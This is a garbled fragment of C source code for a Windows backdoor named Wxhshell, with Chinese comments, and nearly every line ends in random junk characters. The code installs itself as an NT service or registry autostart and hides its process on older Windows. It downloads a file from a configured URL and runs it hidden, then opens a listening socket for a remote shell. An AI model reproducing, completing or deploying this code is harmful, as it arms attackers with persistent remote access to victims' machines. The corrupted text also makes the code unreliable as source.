ULONG InheritedFromUniqueProcessId; uuxVVgWp{
} PROCESS_BASIC_INFORMATION; qXhdU/
=
0zE@?.
PROCNTQSIP NtQueryInformationProcess; k(M:#oA!
QZtQogNy#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rOz1tY)l0d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4v`IAR?&K;
.!Pg)|
HANDLE hProcess; gq"d$Xh$x7
PROCESS_BASIC_INFORMATION pbi; E7M_R/7@y
>,E^ R `y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nk<^ Qv
if(NULL == hInst ) return 0; +V Nk#Z i
=~k
c7f{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9?8PMh.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b+|3nc!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZPyzx\6\
r fzNw
if (!NtQueryInformationProcess) return 0; Zazff@O *
^5.XQ0n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dI&Q5M8
if(!hProcess) return 0; TL)*onA9
5mC"8N1)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DzQ
XbqMWQN*
CloseHandle(hProcess); 'E+"N'M|
?C#E_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GB35o uE
if(hProcess==NULL) return 0; #c5jCy}n
N+h05`
HMODULE hMod; l?=\9y
char procName[255]; jj1\oyQ8
unsigned long cbNeeded; '3Lu_]I-
OQ7 `n<I<)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m3TR}=n
z9*e%$+S
CloseHandle(hProcess); :nQlS
I O:*F0
if(strstr(procName,"services")) return 1; // 以服务启动 h%krA<G9
w4vV#C4X
return 0; // 注册表启动 Rd&DH_<+^
} '*`#xNu[
@p
L9a1PJv
// 主模块 >WIc"y.
int StartWxhshell(LPSTR lpCmdLine) m3gv %h
{ G[A3H>
>
SOCKET wsl; o87kF!x
BOOL val=TRUE; %VH, (}i
int port=0; nuXL{tg6
struct sockaddr_in door; 0]kKF<s
sl `jovT[Y
if(wscfg.ws_autoins) Install(); p,goYF??
lQ-<T<g
port=atoi(lpCmdLine); Jsysk $R
lI 4tW=
if(port<=0) port=wscfg.ws_port; d<6F'F^w.7
1^4:l!0D
WSADATA data; ,VHqZ'6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @kqxN\DE
?9kC[4G
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BG+i tyH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <;6{R#Tuh
door.sin_family = AF_INET; @ M]_],
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "FWx;65CR
door.sin_port = htons(port); ,|{`(y/v
/{\ /e"5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I I+y
closesocket(wsl); l6ym <V(1p
return 1; 0RT 8N=B83
} du66a+@t
x}yl Rg`[
if(listen(wsl,2) == INVALID_SOCKET) { A^>@6d $2
closesocket(wsl); qcS.=Cj?)
return 1; N)H "'#-
} G
aV&y
Wxhshell(wsl); <qwf"Ey
WSACleanup(); N2v/<
wSN9`"
return 0; m$fEk,d
(-21h0N[V
} .9rYBy
sD:o
2(G*
// 以NT服务方式启动 UX@%1W!8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lwr's'ao.
{ ~v+kO~
DWORD status = 0;
u]P|
DWORD specificError = 0xfffffff; Uj):}xgi'
`m7<_#Y
serviceStatus.dwServiceType = SERVICE_WIN32; "`$,qvNN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; mb1mlsE
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D%p*G5Bg3
serviceStatus.dwWin32ExitCode = 0; C9!t&<\}
serviceStatus.dwServiceSpecificExitCode = 0; >
S>*JP
serviceStatus.dwCheckPoint = 0; q 84*5-
serviceStatus.dwWaitHint = 0; FH+X<
5To@d|{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y~WdN<g
if (hServiceStatusHandle==0) return; v Y0bK-
~5f&<,p!
status = GetLastError(); \8 `7E1d
if (status!=NO_ERROR) >>y`ap2%V
{ H<(F$7Q!\
serviceStatus.dwCurrentState = SERVICE_STOPPED; 68Fl/
serviceStatus.dwCheckPoint = 0; %S`&R5
serviceStatus.dwWaitHint = 0; 0%ul6LvM
serviceStatus.dwWin32ExitCode = status; <RY =y?%z
serviceStatus.dwServiceSpecificExitCode = specificError; ;
oyV8P$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eDJnzh83
return; X0G,tl
} "m K`3</G
N1a]y/
serviceStatus.dwCurrentState = SERVICE_RUNNING; gV2vwe
serviceStatus.dwCheckPoint = 0; 2:*15RH3
serviceStatus.dwWaitHint = 0; b/M/)o!C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =AIFu\9#a`
} E^1yU
~"#0rPT
// 处理NT服务事件,比如:启动、停止 i#[8I-OtN/
VOID WINAPI NTServiceHandler(DWORD fdwControl) q)?%END
{ 9/k2zXY
switch(fdwControl) + ~V%R{h
{ ([8*Py|
case SERVICE_CONTROL_STOP: V^s, 3C
serviceStatus.dwWin32ExitCode = 0; >WZ.Dj0n
serviceStatus.dwCurrentState = SERVICE_STOPPED; y" =?l
serviceStatus.dwCheckPoint = 0; fzJiW@-T
serviceStatus.dwWaitHint = 0; $O |Xq7dp
{ C6e5*S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ozOc6
} D1RQkAZS
return; T!x/^
case SERVICE_CONTROL_PAUSE: @1j*\gYz
serviceStatus.dwCurrentState = SERVICE_PAUSED; ) 8xbc&M
break; \#[DZOI~
case SERVICE_CONTROL_CONTINUE: }hn?4ny
serviceStatus.dwCurrentState = SERVICE_RUNNING; YIN* '!N
break; T$kuv`?
case SERVICE_CONTROL_INTERROGATE: |21VOPBS
break; ftn10TO *
}; P*k n}:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /%g@ ;
} IfH/~EtX
fhg'4FO
// 标准应用程序主函数 [Vbdsu9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tO&n$$
{ ~JRq :
b\\lEM>o1
// 获取操作系统版本 !}}
)f/
OsIsNt=GetOsVer(); hvI#D>Z!Yp
GetModuleFileName(NULL,ExeFile,MAX_PATH); ea{zL
GN(,` y
// 从命令行安装 U^}7DJ
if(strpbrk(lpCmdLine,"iI")) Install(); [m! P(o
|QZ
E
// 下载执行文件 zn/>t-Bc
if(wscfg.ws_downexe) { (e;/Smol
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "Pc}-&
WinExec(wscfg.ws_filenam,SW_HIDE); E\}A<r
} F(j;|okf;
~|<'@B!6
if(!OsIsNt) { gDJ} <^
// 如果时win9x,隐藏进程并且设置为注册表启动 _|; d
D
HideProc(); aY4v'[
StartWxhshell(lpCmdLine); jBEW("4R
} |)d%3s\
else NVQ.;" 2w
if(StartFromService()) ga,kKPL
// 以服务方式启动 pq_U?_5Z'r
StartServiceCtrlDispatcher(DispatchTable); l_;6xkv4
else GfSD%"
// 普通方式启动 b*tb$F
StartWxhshell(lpCmdLine); 7'At_oG
d %FLk=]
return 0; Xn~\Vb
}